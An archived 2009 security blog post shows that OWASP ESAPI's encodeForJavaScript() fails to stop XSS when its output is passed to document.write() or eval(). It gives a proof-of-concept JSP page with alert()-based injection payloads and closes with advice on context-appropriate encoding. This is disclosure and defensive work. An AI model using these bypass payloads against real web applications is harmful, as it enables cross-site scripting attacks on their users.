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Everyone knows the invaluable XSS cheat sheet maintained by “RSnake”. It is all about breaking
things and features all the scenarios that can result in XSS. To complement his efforts, there is an
excellent XSS prevention cheat sheet created by “Jeff Williams” (Founder and CEO, Aspect Security).
As far as | have seen, this wiki page provides the most comprehensive information on protecting
yourself from XSS on the internet. It advises using the OWASP ESAPI api to mitigate any XSS arising
from untrusted user input.

| was evaluating this ESAPI api and the recommendations given on the wiki to see if there are any
potential flaws. Any weakness impacts a very large number of users since many developers are
using it to strengthen their web applications throughout the world. This is my way of contributing
back to the community, but can never match the immense efforts put by Jeff and other OWASP
team members in developing this library.

| want to give you a little bit of background before diving into the real vulnerability. The XSS
prevention cheat sheet classifies XSS protections by dividing them into broadly four buckets -
HTML Body injection, HTML Attribute injection, Javascript injection and CSS injection. For each of
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these four buckets, there is an ESAPI function reference you can use for output
escaping/encoding.

If you allow any untrusted user input into javascript functions document.write() OR eval(), it can
still execute the XSS even after you do the scrubbing using the ESAPI encodeFor]avaScript()
function. The reason being that hex escaped chars are converted back into normal chars at the
time of execution of these functions.

Here is the proof of concept jsp code:



<%@page import="org.owasp.esapi.*"%>

<%@page contentType="text/html" pageEncoding="UTF-8"%>
<IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>ESAPI XSS Protection Bypass</title>
</head>
<body>
<h1>ESAPI XSS Protection Bypass</h1>
<p id="tb1"/><br>
<pid="tb2"/>
<script>
//in real scenario, these three strings come from request.getParameter or user input
<%
String vulstr1 = "-1';alert(0);";
String vulstr2 = "<img src=x onerror=alert(1)>";
String vulstr3 = "0,x setter=alert,x=2";

%>

// you can safely use it in places like this
// Ex. vulstr1 is completely encapsulated in a and alert(0) not executed.
var a='<%= ESAPIl.encoder().encodeForjavaScript(vulstr1) %>";

alert(a);

// However, you can bypass protection in places like these
// Ex. vulstr2 gets written to html and alert(1) executes
document.write("<%= ESAPl.encoder().encodeForjavaScript(vulstr2) %>");
// Ex. part of vulstr3 get assigned to u, rest alert(2) executes
eval("u=<%= ESAPl.encoder().encodeForJavaScript(vulstr3) %>");
</script>
</body>
</html>

Much thanks to Jeremiah Grossman and Jeff Williams for taking the time to review my idea and
providing their insights. Jeremiah told me that he has seen such injections from time to time at Wh
iteHat and these do exist in the wild.

Jeff confirmed that some documentation changes will fix this. | agree that no esapi code change is
required, because function themselves are not insecure.


https://jeremiahgrossman.blogspot.com/
https://twitter.com/planetlevel
http://www.whitehatsec.com/
http://www.whitehatsec.com/

But, if you are currently using esapi functions inside your javascript code, it is important that you
re-review your javascript code and the places where your make calls to esapi functions.

If you use the esapi function encodeForjavaScript() inside document.write, it is advised that you
change them with other appropriate esapi functions depending on the context where the data is
ultimately landing. For example, if you have document.write(“<script>alert('XSS’)</script>"), you
know the data is landing in html body context, so it is appropriate to use encodeForHTML()
wrapper. Using user input inside eval is less common, but more disastrous. The reason for this is
you can still begin another command context using , and (space) char and it won't be encoded by
function encodeForHTMLY(). So, it is better to avoid putting user input inside eval.

Any more suggestions or discussion on fixes is highly welcome.
Share:

['[[del.icio.us]](https://securethoughts.com/wp-content/plugins/bookmarkify/delicious.png)]
(http://del.icio.us/post?url=http://securethoughts.com/2009/08/bypassing-owasp-esapi-xss-
protection-inside-javascript/&title=Bypassing OWASP ESAPI XSS Protection inside Javascript) [!
[[Diggll(https://securethoughts.com/wp-content/plugins/bookmarkify/digg.png)]
(http://digg.com/submit?phase=2&url=http://securethoughts.com/2009/08/bypassing-owasp-
esapi-xss-protection-inside-javascript/&title=Bypassing OWASP ESAPI XSS Protection inside
Javascript) [![[Facebook]](https://securethoughts.com/wp-
content/plugins/bookmarkify/facebook.png)l(https://www.facebook.com/share.php?
u=http://securethoughts.com/2009/08/bypassing-owasp-esapi-xss-protection-inside-javascript/) [!
[[Google]l(https://securethoughts.com/wp-content/plugins/bookmarkify/google.png)]
(https://www.google.com/bookmarks/mark?
op=edit&output=popup&bkmk=http://securethoughts.com/2009/08/bypassing-owasp-esapi-xss-
protection-inside-javascript/&title=Bypassing OWASP ESAPI XSS Protection inside Javascript) [!
[[LinkedIn]](https://securethoughts.com/wp-content/plugins/bookmarkify/linkedin.png)]
(http://www.linkedin.com/shareArticle?
mini=true&url=http://securethoughts.com/2009/08/bypassing-owasp-esapi-xss-protection-inside-
javascript/&title=Bypassing OWASP ESAPI XSS Protection inside Javascript) [![[Reddit]]
(https://securethoughts.com/wp-content/plugins/bookmarkify/reddit.png)]
(http://reddit.com/submit?url=http://securethoughts.com/2009/08/bypassing-owasp-esapi-xss-
protection-inside-javascript/&title=Bypassing OWASP ESAPI XSS Protection inside Javascript) [!
[[StumbleUpon]](https://securethoughts.com/wp-content/plugins/bookmarkify/stumbleupon.png)]
(http://www.stumbleupon.com/submit?url=http://securethoughts.com/2009/08/bypassing-owasp-
esapi-xss-protection-inside-javascript/&title=Bypassing OWASP ESAPI XSS Protection inside
Javascript) [![[Technorati]](https://securethoughts.com/wp-
content/plugins/bookmarkify/technorati.png)l(http://technorati.com/faves?
add=http://securethoughts.com/2009/08/bypassing-owasp-esapi-xss-protection-inside-javascript/)
['[[Twitter]](https://securethoughts.com/wp-content/plugins/bookmarkify/twitter.png)]
(https://twitter.com/home/?status=Bypassing OWASP ESAPI XSS Protection inside
Javascript+http://securethoughts.com/2009/08/bypassing-owasp-esapi-xss-protection-inside-
javascript/) [I[[Yahoo!]l(https://securethoughts.com/wp-content/plugins/bookmarkify/yahoo.png)]



(http://bookmarks.yahoo.com/toolbar/savebm?
opener=tb&u=http://securethoughts.com/2009/08/bypassing-owasp-esapi-xss-protection-inside-
javascript/&t=Bypassing OWASP ESAPI XSS Protection inside Javascript) More »

Tags: esapi, Javascript, owasp, XSS, xss prevention cheatsheet

This entry was posted on Thursday, August 20th, 2009 at 1:08 am and is filed under Exploits, Soluti
ons, WebAppSec, XSS. You can follow any responses to this entry through the RSS 2.0 feed. You
can leave a response, or trackback from your own site.

Leave a Reply

Name (required)

Mail (will not be published) (required)
Website

CAPTCHA Code

[image: CAPTCHA Image][ [image: CAPTCHA Audio]](https://securethoughts.com/wp-
content/plugins/si-captcha-for-wordpress/captcha-secureimage/securimage_play.php?
si_form_id=com) [image: Refresh Image]

Archived from http://securethoughts.com/2009/08/bypassing-owasp-esapi-xss-protection-inside-javascript/. Rendered
offline from the local Markdown copy.


https://securethoughts.com/2009/08/bypassing-owasp-esapi-xss-protection-inside-javascript/#bookmarkify
https://securethoughts.com/tag/esapi/
https://securethoughts.com/tag/javascript/
https://securethoughts.com/tag/owasp/
https://securethoughts.com/tag/xss/
https://securethoughts.com/tag/xss-prevention-cheatsheet/
https://securethoughts.com/category/exploits/
https://securethoughts.com/category/solutions/
https://securethoughts.com/category/solutions/
https://securethoughts.com/category/webappsec/
https://securethoughts.com/category/xss/
https://securethoughts.com/2009/08/bypassing-owasp-esapi-xss-protection-inside-javascript/feed/
https://securethoughts.com/2009/08/bypassing-owasp-esapi-xss-protection-inside-javascript/trackback/
https://securethoughts.com/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/securimage_show_medium.php?si_form_id=com&sid=30ff265ca8370b31d844368507b11730
https://securethoughts.com/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/images/audio_icon.gif
https://securethoughts.com/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/images/refresh.gif
http://securethoughts.com/2009/08/bypassing-owasp-esapi-xss-protection-inside-javascript/

